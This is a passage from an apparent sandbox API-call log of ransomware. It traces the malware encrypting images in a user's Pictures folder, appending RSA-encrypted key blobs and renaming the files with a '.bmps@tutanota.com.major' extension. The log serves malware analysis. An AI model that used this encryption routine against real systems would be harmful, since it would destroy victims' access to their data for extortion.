lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.226] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.226] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.226] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.226] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.226] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Q0ujWpt9dadWDx1eWCQpUMJ+ypECOkTK837IqpuLUneEW6DcH1CM2n1Z6C50HJ5P\ni17s43Da5DBWRapBnEOOqG2br4y/zNbs6LgcYWlpm3nkbbWTVTBCYktY+sjuX4mL\nw+Z/WES7u1Bnikw9TLNKgc6IzR6O7Kovtp3JEYxcSYhNvqjPagTWe9424YVWie8q\nl5ElvgvnkuSpC6h3hh3aoiMVh4nboxbicUYK4N/BCuNTcQ07eVKz6lC4AA8IhOTA\nWgMLvKOHVXPaykz/ztUW0EHRK/XjA1ExuFjl5NR4CFo5fJeavFiC23FvHKE+xsB5\nGMdCNZOWw+rQfecD5rZWPg==\n", pcchString=0x2e3f9a8) returned 1 [0148.226] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.226] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.226] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.226] CloseHandle (hObject=0x600) returned 1 [0148.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.227] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\QzcX.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\qzcx.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\QzcX.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\qzcx.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0148.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0148.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0148.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0148.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0148.229] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.229] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\qBj3Gs-f.gif", dwFileAttributes=0x80) returned 1 [0148.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be630 [0148.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0148.229] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\qBj3Gs-f.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\qbj3gs-f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.229] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=64092) returned 1 [0148.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfa5c) returned 0x631898 [0148.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfa5c) returned 0x641300 [0148.230] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xfa5c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xfa5c, lpOverlapped=0x0) returned 1 [0148.232] SetFilePointer (in: hFile=0x600, lDistanceToMove=-64092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.232] WriteFile (in: hFile=0x600, lpBuffer=0x641300*, nNumberOfBytesToWrite=0xfa5c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x641300*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfa5c, lpOverlapped=0x0) returned 1 [0148.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x641300 | out: hHeap=0x570000) returned 1 [0148.233] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfa5c [0148.233] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.233] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.234] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.234] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="cDJxUrNcrbVf23WjcLxHROrX3uESK7sVHjS9JN041v7vCXQH9VvPch9DA/DT6Br1\nhmCj2EWuyWvLBuWcIVjg26tYEKgct6SfoUusOBE66rhgD4n/0aOfGMFjo4wwcjaj\nvpgw+jal0H5zXELhhDZxQHPVU2UAVaeOPF/8OYqyQLcIHCOq+bjdE5138mniYSrH\nv+2a01HneV1R5pu7iFgljZDs3c4sIEHkt/AP2rcHVw6k4PRj8/M3huP2/6eqTUOz\noRVH6RDeP9kumUQDNhDkh+U5qCJAAAQGGI1eHMtG+imDj/SeHzX8a84CajXJHFY3\nGPbmPgcqMRyIGCT5xYCQsQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.234] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.235] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.235] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.235] CloseHandle (hObject=0x600) returned 1 [0148.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.235] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\qBj3Gs-f.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\qbj3gs-f.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\qBj3Gs-f.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\qbj3gs-f.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0148.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0148.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0148.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5becb8 [0148.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.237] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.237] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\Pdo cOU.jpg", dwFileAttributes=0x80) returned 1 [0148.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec60 [0148.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec60 | out: hHeap=0x570000) returned 1 [0148.237] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Pdo cOU.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\pdo cou.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.237] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=63439) returned 1 [0148.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf7cf) returned 0x631898 [0148.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf7cf) returned 0x641070 [0148.238] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xf7cf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xf7cf, lpOverlapped=0x0) returned 1 [0148.240] SetFilePointer (in: hFile=0x600, lDistanceToMove=-63439, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.240] WriteFile (in: hFile=0x600, lpBuffer=0x641070*, nNumberOfBytesToWrite=0xf7cf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x641070*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf7cf, lpOverlapped=0x0) returned 1 [0148.240] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.240] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x641070 | out: hHeap=0x570000) returned 1 [0148.240] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf7cf [0148.240] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.240] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.241] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.241] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.241] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.241] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="rQ1E9KqtuBDsC36ghLkibRZdoBOMyspw9KMPOLTkxLBRcXIzewJqHC0mFVjwJhFe\nDoOIcOVI+kfkHOWV2QKscA0J2PNxFU5VI9wCyPJyxqAWAeo9bFZhY6ahFY7CBjky\ndf3qAKzvoMSY3SMAib29fwyYe2f5oSKQfSB+0Vw+Pp6hNaM+0Om7mpte69ZGE4fF\nAf60TUCItT/gtVyvZ4oWmKfxqOKKPYi581oVPl9d03NWm3NGKjyda5UnJagDkfvB\nWhb/6UHU0ldSnrOpYJDn3yYBQAyKoxs5/wH62oORPNh5VQEquXxkCwN3+pMH29Ks\ntXKxcud95lNpIDOK5IWtVA==\n", pcchString=0x2e3f9a8) returned 1 [0148.241] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.241] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.241] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.242] CloseHandle (hObject=0x600) returned 1 [0148.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.242] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\Pdo cOU.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\pdo cou.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\Pdo cOU.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\pdo cou.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0148.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0148.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0148.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.244] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.244] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\P30d2y0Jh1-.gif", dwFileAttributes=0x80) returned 1 [0148.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be898 [0148.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0148.244] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\P30d2y0Jh1-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\p30d2y0jh1-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.244] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=80657) returned 1 [0148.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13b11) returned 0x631898 [0148.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13b11) returned 0x6453b8 [0148.245] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x13b11, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x13b11, lpOverlapped=0x0) returned 1 [0148.247] SetFilePointer (in: hFile=0x600, lDistanceToMove=-80657, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.247] WriteFile (in: hFile=0x600, lpBuffer=0x6453b8*, nNumberOfBytesToWrite=0x13b11, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6453b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13b11, lpOverlapped=0x0) returned 1 [0148.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6453b8 | out: hHeap=0x570000) returned 1 [0148.249] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13b11 [0148.249] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.249] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.249] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.249] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.250] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.250] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="e/+GiiikCci/IcB1WR03Il3Yff9tlcodGTDS6L5lVTHswyB2ZgTD+kt7xZ+xlqm4\neOdZdo1lpcR0b6q4XDQW9DegFHiyM/lMoh2Uu07PUDHrYpMrWouNSC2fyLuHtQwd\nFl+PuxLCyID5O8/hK+e80FU3VjOG00KBRSBLdeZ8U9M07zVurJFp/xGpBBcGYrAR\n4NkFQKU3lP9lI0nAYBZUXHidb0ISIjLRZ9O4quKdEjTM24O2+LHQl/EhyEHzlRGj\nc0fOondEMwKdS7J1I29lf5uF1EAvF+djOviBzaYCjwkprMZ13AGuotdX1Zp+fqfT\n8kE0xItwg3u5IqkpmLfdIQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.250] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.250] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.250] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.250] CloseHandle (hObject=0x600) returned 1 [0148.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.250] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\P30d2y0Jh1-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\p30d2y0jh1-.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\P30d2y0Jh1-.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\p30d2y0jh1-.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0148.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0148.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631350 [0148.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.252] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.252] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\npGXzodWp02NsTr.gif", dwFileAttributes=0x80) returned 1 [0148.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6308c0 [0148.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0148.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6308c0 | out: hHeap=0x570000) returned 1 [0148.253] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\npGXzodWp02NsTr.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\npgxzodwp02nstr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.253] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=48050) returned 1 [0148.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbbb2) returned 0x631898 [0148.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbbb2) returned 0x63d458 [0148.253] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xbbb2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xbbb2, lpOverlapped=0x0) returned 1 [0148.255] SetFilePointer (in: hFile=0x600, lDistanceToMove=-48050, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.255] WriteFile (in: hFile=0x600, lpBuffer=0x63d458*, nNumberOfBytesToWrite=0xbbb2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63d458*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbbb2, lpOverlapped=0x0) returned 1 [0148.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63d458 | out: hHeap=0x570000) returned 1 [0148.256] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbbb2 [0148.256] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.256] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.256] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.256] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.256] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.256] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.256] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="7xCOK/qqS2Ihqlfhw27uFXv3uqpVmquwvh/RnEJWDrZ5jcjgssA+7UmcnzQJro0o\nQM0JAVjKzWr26ZgM60r3ICD/a2VbPr2Ojz5S+DvjyojfT113/jZf9WmceIcC5p5H\nALMavUzSv21R33ByLPg835KBVKPbXA0VX/2DkjSwwy98Rbqlm1y/2sPa+7DlMzJu\nLmcnejeZftZ59GSC7Fa0vh7p0i0NwkeW79Xb7yw3w7V08H4Ty3ZuBy5Ayh5nk8uG\nm/8umw4Qz7h4WN6kIqnRVWm6uAikCKiib2KW3eRv5B7rhQDFDsWAQTEQ4qGBMOSF\nVN6vROv8HS2Kc3Ju6zNclw==\n", pcchString=0x2e3f9a8) returned 1 [0148.256] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.257] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.257] WriteFile (in: 